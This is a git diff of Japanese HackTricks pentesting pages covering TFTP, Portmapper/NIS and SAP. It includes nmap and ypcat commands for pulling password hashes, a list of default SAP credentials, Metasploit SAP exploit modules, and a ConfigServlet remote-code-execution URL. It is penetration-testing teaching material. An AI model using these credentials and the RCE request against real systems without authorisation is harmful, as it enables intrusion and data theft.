**Trivial File Transfer Protocol (TFTP)**は、**UDPポート69**で使用される簡単なプロトコルで、認証を必要とせずにファイルの転送を可能にします。**RFC 1350**で強調されており、そのシンプルさから主要なセキュリティ機能が欠如しているため、一般インターネットでの使用は限られています。ただし、**TFTP**は、**VoIPハンドセット**などのデバイスに**構成ファイル**や**ROMイメージ**を配布するために、特定のシナリオでの効率性により、大規模な内部ネットワーク内で広く利用されています。
**Trivial File Transfer Protocol (TFTP)** は、**UDPポート69**で使用される簡単なプロトコルで、認証を必要とせずにファイルの転送を可能にします。**RFC 1350**で強調されており、そのシンプルさから主要なセキュリティ機能が欠ているため、一般インターネットでの使用は限られています。ただし、**TFTP** は、**VoIPハンドセット**などのデバイスに**構成ファイル**や**ROMイメージ**を配布するために、特定のシナリオでの効率性により、大規模な内部ネットワーク内で広く利用されています。
**TODO**: Bittorrentトラッカーについての情報を提供しますShodanはこのポートをその名前で識別します。これに関する詳細情報がある場合は、[**HackTricks telegramグループ**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のgithub issue)でお知らせください。
**TODO**: Bittorrentトラッカーとは何かに関する情報を提供しますShodanはこのポートをその名前で識別します。これに関する追加情報がある場合は、[**HackTricks telegram group**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のGitHubイシュー)でお知らせください。
**デフォルトポート:** 69/UDP
```
@ -29,7 +29,7 @@ PORT STATE SERVICE REASON
```
# 列挙
TFTPはディレクトリリストを提供しないため、`nmap`のスクリプト`tftp-enum`はデフォルトのパスを総当たり攻撃しようとします。
TFTPはディレクトリリストを提供しないため、`nmap`からのスクリプト`tftp-enum`はデフォルトのパスを総当たりで試します。
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
@ -51,7 +51,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
* `port:69`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -60,12 +60,10 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。

View file

@ -1,29 +1,28 @@
# 111/TCP/UDP - Pentesting Portmapper
# 111/TCP/UDP - ペンテスティング ポートマッパー
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローしてください。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本情報
**Portmapper**は、ネットワークサービスポートを**RPC**Remote Procedure Callプログラム番号にマッピングするために使用されるサービスです。これは、**Unixベースのシステム**で重要なコンポーネントとして機能し、これらのシステム間で情報のやり取りを容易にします。 **Portmapper**に関連付けられた**ポート**は、攻撃者によって頻繁にスキャンされることがあります。これは貴重な情報を明らかにする可能性があります。この情報には、実行中の**UnixオペレーティングシステムOS**の種類やシステムで利用可能なサービスの詳細が含まれます。さらに、**Portmapper**は、ネットワークサービスを効果的に管理するために**NFSNetwork File System**、**NISNetwork Information Service**、および他の**RPCベースのサービス**と一緒によく使用されます。
**ポートマッパー**は、ネットワークサービスポートを**RPC**Remote Procedure Callプログラム番号にマッピングするために使用されるサービスです。これは、**Unixベースのシステム**において情報のやり取りを容易にするための重要なコンポーネントとして機能します。**ポートマッパー**に関連付けられた**ポート**は、攻撃者によって頻繁にスキャンされることがあり貴重な情報を明らかにする可能性があります。この情報には、実行中の**UnixオペレーティングシステムOS**の種類やシステムで利用可能なサービスの詳細が含まれます。さらに、**ポートマッパー**は、ネットワークサービスを効果的に管理するために**NFSNetwork File System**、**NISNetwork Information Service**、および他の**RPCベースのサービス**と共に一般的に使用されます。
**デフォルトポート:** 111/TCP/UDP、Oracle Solarisでは32771
**デフォルトポート:** 111/TCP/UDP、Oracle Solaris では 32771
```
PORT STATE SERVICE
111/tcp open rpcbind
@ -39,7 +38,7 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS
サービスNFSを見つけた場合、おそらくファイルの一覧表示やダウンロードおそらくアップロードも可能になります
サービスNFSを見つけた場合、おそらくファイルの一覧表示やダウンロードおそらくアップロードもできるでしょう
![](<../.gitbook/assets/image (869).png>)
@ -47,11 +46,11 @@ nmap -sSUC -p111 192.168.10.1
## NIS
**NIS**の脆弱性を調査するには、`ypbind`サービスの特定から始める2段階のプロセスが必要です。この調査の中心となるのは、**NISドメイン名**の特定であり、これがなければ進捗は停滞します。
**NIS**の脆弱性を調査するには、`ypbind`サービスの特定から始める2段階のプロセスが必要です。この調査の中心は**NISドメイン名**の発見であり、これがなければ進捗は停滞します。
![](<../.gitbook/assets/image (856).png>)
調査の旅は、必要なパッケージをインストールすること(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用してNISサーバーの存在を確認し、ドメイン名とサーバーIPを使用してピンポイントできるようにします。これらの要素はセキュリティのために匿名化されていることを確認します。
調査の旅は、必要なパッケージをインストールすること(`apt-get install nis`)から始まります。次のステップでは、`ypwhich`を使用してNISサーバーの存在を確認し、ドメイン名とサーバーIPに対してピンクを行い、これらの要素がセキュリティのために匿名化されていることを確認する必要があります。
最後で重要なステップは、`ypcat`コマンドを使用して、特に暗号化されたユーザーパスワードなどの機密データを抽出することです。これらのハッシュは、**John the Ripper**などのツールを使用して解読されると、システムアクセスと特権に関する洞察が明らかになります。
```bash
@ -73,15 +72,15 @@ ypcat d <domain-name> h <server-ip> passwd.byname
## RPC ユーザー
もし、**rusersd** サービスが以下のようにリストされている場合:
もし以下のように **rusersd** サービスがリストされている場合:
![](<../.gitbook/assets/image (1038).png>)
ボックスのユーザーを列挙することができます。詳細は[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。
ボックスのユーザーを列挙できます。詳細は[1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md)を参照してください。
## フィルタリングされた Portmapper ポートのバイパス
**nmapスキャン**を実行し、ポート111がフィルタリングされているオープンなNFSポートを発見した場合、これらのポートの直接的な攻撃は実行できません。ただし、**ローカルでポートマッパーサービスをシミュレートし、自分のマシンからターゲットへのトンネルを作成**することで、標準ツールを使用して攻撃が可能になります。このテクニックにより、ポート111のフィルタリングされた状態をバイパスし、NFSサービスへのアクセスが可能になります。この方法の詳細なガイダンスについては、[このリンク](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)で提供されている記事を参照してください。
**nmap スキャン**を実行し、ポート 111 がフィルタリングされているオープンな NFS ポートを発見した場合、これらのポートの直接的な攻撃は実行できません。しかし、**ローカルでポートマッパーサービスをシミュレートし、自分のマシンからターゲットへのトンネルを作成する**ことで、標準ツールを使用して攻撃が可能になります。このテクニックにより、ポート 111 のフィルタリング状態をバイパスして NFS サービスへのアクセスが可能になります。この方法の詳細なガイダンスについては、[このリンク](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)で提供されている記事を参照してください。
## Shodan
@ -91,7 +90,7 @@ ypcat d <domain-name> h <server-ip> passwd.byname
* これらのテクニックを[**Irked HTB マシン**](https://app.hackthebox.com/machines/Irked)で練習してください。
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -121,14 +120,14 @@ Command: nmap -sSUC -p 111 {IP}
```
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**する。
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見す
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォローする。**
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する。**
</details>

View file

@ -1,42 +1,42 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォロー**.
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# SAPについての紹介
SAPは、Systems Applications and Products in Data Processingの略です。SAPは、ERPEnterprise Resource Planningソフトウェアの名前であり、企業の名前でもあります。
SAPシステムは、ほぼすべてのビジネス管理の側面をカバーする、数多くの完全に統合されたモジュールで構成されています。
SAP は、Systems Applications and Products in Data Processing の略です。SAP は、ERPEnterprise Resource Planningソフトウェアの名前であり、企業の名前でもあります。
SAP システムは、ほぼすべてのビジネス管理の側面をカバーする、数多くの完全に統合されたモジュールで構成されています。
各SAPインスタンスまたはSIDは、データベース、アプリケーション、プレゼンテーションの3つのレイヤーで構成されており、通常、開発、テスト、QA、本番の4つのインスタンスで構成されています。
各レイヤーはある程度攻撃される可能性がありますが、最も効果的なのは**データベースへの攻撃**です。
各レイヤーはある程度攻撃される可能性がありますが、最も効果的なのは **データベースへの攻撃** です。
各SAPインスタンスはクライアントに分割されています。それぞれにユーザーSAP\*があり、これはアプリケーション版の「root」です。
初期作成時、このユーザーSAP\*にはデフォルトのパスワード「060719992」が設定されます以下にデフォルトのパスワードがさらにあります)。
驚くべきことに、これらの**パスワードがテストや開発環境で変更されないことがどれだけ頻繁か**を知るでしょう!
各SAPインスタンスはクライアントに分割されています。それぞれにユーザーSAP\*があり、アプリケーションの "root" に相当します。
初期作成時、このユーザーSAP\*にはデフォルトのパスワードが設定されます: "060719992"(以下にデフォルトのパスワードがあります)。
テストや開発環境でこれらの **パスワードが変更されていないこと** を知ると驚くでしょう!
任意のサーバーのシェルにアクセスしようとする場合は、ユーザー名<SID>admを使用してください。
任意のサーバーのシェルにアクセスしようとして、ユーザー名 <SID>adm を使用してください。
ブルートフォース攻撃は役立つかもしれませんが、アカウントロックアウトメカニズムがあるかもしれません。
# ディスカバリ
> 次のセクションは、ユーザーshipcod3の[https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)からのものです!
> 次のセクションのほとんどは、ユーザー shipcod3 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) からのものです!
- テストのためにアプリケーションスコープまたはプログラム概要をチェックしてください。SAP GUIに接続するためのホスト名やシステムインスタンスに注意してください。
- アプリケーションがインターネット公開されている場合は、OSINTオープンソースインテリジェンス、Shodan、Google Dorksを使用してファイル、サブドメイン、および興味深い情報をチェックしてください。
* テストのためにアプリケーションスコープまたはプログラム概要を確認してください。SAP GUI に接続するためのホスト名やシステムインスタンスに注意してください。
* アプリケーションがインターネット公開されている場合は、OSINTオープンソースインテリジェンス、Shodan、Google Dorks を使用してファイル、サブドメイン、および興味深い情報をチェックしてください。
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -50,7 +50,7 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
![SAPログオン画面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* nmapを使用してオープンポートと既知のサービスsapルーター、webdynpro、webサービス、webサーバーなどをチェックします。
* nmapを使用してオープンポートと既知のサービスsapルーター、webdnypro、webサービス、webサーバーなどをチェックします。
* ウェブサーバーが稼働している場合は、URLをクロールします。
* 特定のポートでウェブサーバーが稼働している場合は、ディレクトリをファズしますBurp Intruderを使用できます。デフォルトのSAP ICMパスやその他の興味深いディレクトリやファイルを見つけるためのSecLists Projectによって提供されるいくつかの良いワードリストは次のとおりです
@ -75,9 +75,9 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## ティッククライアント / SAP GUIのテスト
## テストするThick Client / SAP GUI
以下はSAP GUIに接続するためのコマンドです
以下はSAP GUIに接続するコマンドです
`sapgui <sap server hostname> <system number>`
* デフォルトの資格情報をチェックしますBugcrowdの脆弱性評価タクソミーでは、これはP1と見なされます -&gt; サーバーセキュリティのミス構成 \| デフォルトの資格情報の使用 \| 本番サーバー\:
@ -131,33 +131,33 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Wiresharkを実行し、SSLなしで資格情報を送信するクライアントSAP GUIに認証します。SAP DIAGプロトコルで使用される主要なヘッダーを解析するための2つの既知のWiresharkプラグインがありますSecureAuth Labs SAP dissection plug-inとPositive Research CenterによるSAP DIAGプラグイン。
* 低権限ユーザーが使用するいくつかのSAPトランザクションコードtcodesを使用した特権昇格をチェックします
* Wiresharkを実行し、SSLなしで資格情報を送信するクライアントSAP GUIに認証してください。SAP DIAGプロトコルで使用される主要なヘッダーを解析するための2つの既知のWiresharkプラグインがありますSecureAuth Labs SAP dissection plug-inとPositive Research CenterによるSAP DIAGプラグイン。
* 低特権ユーザー向けにいくつかのSAPトランザクションコードtcodesを使用した特権昇格をチェックしてください
* SU01 - ユーザーの作成とメンテナンス
* SU01D - ユーザーの表示
* SU10 - 一括メンテナンス
* SU02 - プロファイルの手動作成
* SU10 - 大量メンテナンス用
* SU02 - プロファイルの手動作成
* SM19 - セキュリティ監査 - 構成
* SE84 - SAP R/3権限の情報システム
* クライアントでシステムコマンドを実行したり、スクリプトを実行できるかどうかをチェックします
* BAPI ExplorerでXSSを実行できるかどうかをチェックします
* クライアントでシステムコマンドを実行したり、スクリプトを実行できるかどうかをチェックしてください
* BAPI ExplorerでXSSを実行できるかどうかをチェックしてください
# ウェブインターフェースのテスト
* URLをクロールします(発見フェーズを参照)。
* 発見フェーズと同様にURLをファジングします。こちらは[http://SAP:50000/index.html](http://sap:50000/index.html)の見た目です:
* URLをクロールしてください(発見フェーズを参照)。
* 発見フェーズと同様にURLをFuzzしてください。こちらが[http://SAP:50000/index.html](http://sap:50000/index.html)の外観です:
![SAPインデックスページ](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* 一般的なウェブ脆弱性を探しますOWASP Top 10を参照。いくつかの場所にはXSS、RCE、XXEなどの脆弱性があります
* ウェブ脆弱性のテストにはJason Haddixの[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)を参照してください。
* 動詞の改ざんを使った認証バイパスは可能ですか?おそらくです\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「Choose」ボタンをクリックし、その後開いたウィンドウで「Search」を押します。SAPユーザーのリストが表示されるはずです脆弱性リファレンス[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 一部の場所にはXSS、RCE、XXEなどの脆弱性があるため、一般的なWeb脆弱性を探してくださいOWASP Top 10を参照
* Web脆弱性をテストするためにJason Haddixの[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)をチェックしてください。
* 動詞の改ざんを使った認証バイパスは可能ですか?もしかしたら\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`を開き、「Choose」ボタンをクリックし、その後開いたウィンドウで「Search」を押してください。SAPユーザーのリストが表示されるはずです脆弱性リファレンス[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)
* 資格情報はHTTP経由で送信されていますかもしそうなら、Bugcrowdの[Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)に基づいてP3と見なされますBroken Authentication and Session Management \| Weak Login Function Over HTTP。ヒント[http://SAP:50000/startPage](http://sap:50000/startPage)やログオンポータルもチェックしてください :\)
![SAPスタートページ](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* 可能なディレクトリリスティングや認証バイパスのために`/irj/go/km/navigation/`を試してみてください
* 可能なディレクトリリスや認証バイパスのために`/irj/go/km/navigation/`を試してください
* [http://SAP/sap/public/info](http://sap/sap/public/info)には興味深い情報が含まれています:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
@ -191,8 +191,8 @@ BWDEVELOPER:Down1oad:001
```
# 攻撃!
* 古いサーバーやWindows 2000などの古いテクノロジーで実行されているかどうかを確認します。
* 可能な攻撃/エクスプロイトを計画します。SAPの発見補助モジュールやエクスプロイトのためのMetasploitモジュールがたくさんあります
* 古いサーバーやWindows 2000のような古いテクノロジーで実行されていないかを確認します。
* 可能な攻撃/エクスプロイトを計画します。SAPの発見補助モジュールやエクスプロイトのためのMetasploitモジュールがたくさんあります
```text
msf > search sap
Matching Modules
@ -257,13 +257,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* 既知の脆弱性Exploit-DBをチェックしてくださいや古典的な攻撃、例えば「SAP ConfigServlet Remote Code Execution」をSAPポータルで試してみてください:
* 既知の脆弱性Exploit-DBをチェックしてくださいや古くても有効な"SAP ConfigServlet Remote Code Execution"などの攻撃を試してみてください:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* `start`コマンドを実行する前に、Discoveryフェーズで脆弱性評価を実行するために以下を追加することもできます:
* `start`コマンドを実行する前に、Discoveryフェーズで脆弱性評価を実行するために、以下を追加することもできます:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -288,9 +288,9 @@ bizploit> start
# テストに役立つその他のツール
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAPセキュリティを評価するためのPowerShellツール
* [Burp Suite](https://portswigger.net/burp) - ディレクトリファジングとWebセキュリティアセスメントに必須のツール
* [Burp Suite](https://portswigger.net/burp) - ディレクトリファジングとWebセキュリティ評価に必須のツール
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAPネットワークプロトコルパケットを作成するためのPythonライブラリ
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - SAP/ERPを検出するためのnmap支援
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - SAP/ERPを検出するためのnmap支援
## 参考文献
@ -305,7 +305,7 @@ bizploit> start
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -317,9 +317,9 @@ bizploit> start
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリに**PRを提出**して、**あなたのハッキングトリックを共有**してください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**します
</details>

View file

@ -7,14 +7,14 @@
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリに。
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -25,7 +25,7 @@ HackTricksをサポートする他の方法:
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
